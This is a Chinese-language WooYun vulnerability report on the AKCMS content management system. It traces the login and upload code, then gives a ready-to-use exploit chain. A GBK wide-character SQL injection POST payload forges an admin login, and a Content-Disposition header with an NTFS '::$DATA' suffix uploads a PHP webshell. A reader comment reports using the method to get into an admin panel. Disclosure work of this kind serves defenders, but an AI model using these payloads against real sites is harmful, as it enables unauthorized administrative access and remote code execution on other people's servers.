当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105186

漏洞标题:AKCMS 注入到getshell打包

相关厂商:AKCMS程序

漏洞作者: Th1nk

提交时间:2015-04-01 18:02

修复时间:2015-07-05 18:05

公开时间:2015-07-05 18:05

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-01: 细节已通知厂商并且等待厂商处理中
2015-04-06: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-05-31: 细节向核心白帽子及相关领域专家公开
2015-06-10: 细节向普通白帽子公开
2015-06-20: 细节向实习白帽子公开
2015-07-05: 细节向公众公开

简要描述:

AKCMS 注入到getshell打包

详细说明:

最新版本,安装时选择gbk字符编码
其实有点鸡肋,要知道后台目录。
我本地的后台目录是/akcms
1.sql注入
/akcms/login.php

if(isset($post_loginsubmit)) {
//宽字符注入
if($editor = $db->get_by('*', 'admins', "editor='".$db->addslashes($post_username)."'")) {
if(ak_md5($post_password, 0, 2) == $editor['password']) {
if($editor['freeze'] == 1) adminmsg($lan['youarefreeze'], 'index.php', 3, 1);
if(!empty($post_rememberlogin)) {
setlogin($post_username, $thetime + 24 * 3600 * 365 * 10);
} else {
setlogin($post_username);
}
$target = 'index.php';
if(ifthemeuninstalled()) $target = 'index.php?file=theme&action=themeinstall';
adminmsg($lan['login_success'], $target);
} else {
adminmsg($lan['login_failed'], 'index.php?file=login', 3, 1);
}
} else {
adminmsg($lan['login_failed'], 'index.php?file=login', 3, 1);
}
} else {
displaytemplate('login.htm');
}


直接将post传递过来的用户名addslashes之后放入get_by函数。
跟入
/akcms/include/db.class.php

function get_by($what, $from, $where = '', $orderby = '') {
$table = $this->fulltablename($from);
$sql = "SELECT {$what} FROM `{$table}`";
if($where != '') $sql .= " WHERE {$where}";
if($orderby != '') $sql .= " ORDER BY {$orderby}";
if(strpos($what, '(') === false) $sql .= " LIMIT 1";
$row = $this->get_one($sql);
if($row === false) {
return false;
} elseif(count($row) == 1) {
return current($row);
} else {
return $row;
}
}


调用到get_one函数,跟入

function get_one($sql) {
$arr = $this->querytoarray($sql, '', 1);
if(count($arr) > 0) return array_shift($arr);
return false;
}


querytoarray函数,跟入

function querytoarray($sql, $key = '', $num = 1000) {
global $sqlcaches;
$results = array();
if(!empty($GLOBALS['batchcreateitemflag'])) {
if(!isset($sqlcaches)) $sqlcaches = array();
$cachekey = $sql.'*'.$num;
if(isset($sqlcaches[$cachekey])) {
}
}
$query = $this->query($sql);
$i = 1;
while($row = $this->fetch_array($query)) {
if($key == '' || !isset($row[$key])) {
$results[$i] = $row;
} else {
$results[$row[$key]] = $row;
}
if($i ++ >= $num) break;
}
return $results;
}


继续调用到query函数 跟入。

function query($sql, $ignoresafe = 0) {
global $ifdebug, $slowquery, $thetime;
if(!empty($ifdebug)) $start = akmicrotime();
if(empty($ignoresafe)) {
if(preg_match('/^(select|delete)\s+.*?(select|update|detele|insert|replace)\s+/i', $sql, $match)) {
eventlog("REJECT\t".$sql, 'sql');
return false;
}
}
if($ignoresafe == 1 && strpos($sql, ";\n") != false) {
$sqls = explode(";\n", $sql);
foreach($sqls as $sql) {
if(trim($sql) != "") $query = $this->_query($sql);
}
} else {
$query = $this->_query($sql);
}
if(!$query) $this->halt($this->error(), $sql);
if(!empty($ifdebug)) {
$usedtime = akmicrotime() - $start;
if(empty($slowquery) || $usedtime > $slowquery) {
eventlog(msformat(akmicrotime() - $start)."\t".$sql, 'sql');
}
}
if($sql != 'BEGIN;') {
$this->querynum++;
if(!empty($ifdebug)) $sql = msformat(akmicrotime() - $start).' '.$sql;
if($this->querynum < 1000) $this->queries[] = $sql;
}
return $query;
}


可以看到,对于注入的防御只有这么一句

if(preg_match('/^(select|delete)\s+.*?(select|update|detele|insert|replace)\s+/i', $sql, $match)) {
eventlog("REJECT\t".$sql, 'sql');
return false;
}


这实在是很容易绕过的。并且gbk又没有设置安全的连接方式,可以采用宽字符注入绕过。
2.getshell
登陆到后台后,可以getshell
/akcms/upload.php
5-18行

if(isset($_SERVER['HTTP_CONTENT_DISPOSITION']) && preg_match('/attachment;\s+name="(.+?)";\s+filename="(.+?)"/i',$_SERVER['HTTP_CONTENT_DISPOSITION'], $info)){
//getshell
$filename = fromutf8(urldecode($info[2]));
if(fileext($filename) == 'php') aexit();
$newfilename = get_upload_filename($filename, 0, 0, 'image');
$a = file_get_contents("php://input");
if(!checkuploadfile($a)) {
uploaddanger($lan['danger']);
} else {
writetofile($a, FORE_ROOT.$newfilename);
}
}


可以看到这是一个基于黑名单的检测机制,那就有好多绕过方式了。
windows下可以用ADS的文件流绕过,apache或者nginx下可以尝试php1-6绕过。相当简单。

漏洞证明:

1.sql注入

1.jpg


构造一个万能密码直接登陆后台。
post传递

action=login&username=11111%df%27 union select/**/1,2,md5(md5(3)),4,5,6%23&password=3&loginsubmit=%B5%C7%C2%BC


1.jpg


成功登陆后台。
2.getshell
添加header头

CONTENT-DISPOSITION: attachment; name="123456"; filename="1.php::$DATA"


利用ntfs的ads流来绕过后缀检测

1.jpg


得到shell地址
http://127.0.0.1/pictures/2015/04/iJrV1T.php

1.jpg

修复方案:

过滤过滤

版权声明:转载请注明来源 Th1nk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-07-05 18:05

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2015-08-03 23:22 | 写个七 ( 路人 | Rank:4 漏洞数:1 | 一点一点积累。)

    牛逼的音符哥, 用你方法成功进入后台 但是getshell 小白不懂 求详细科普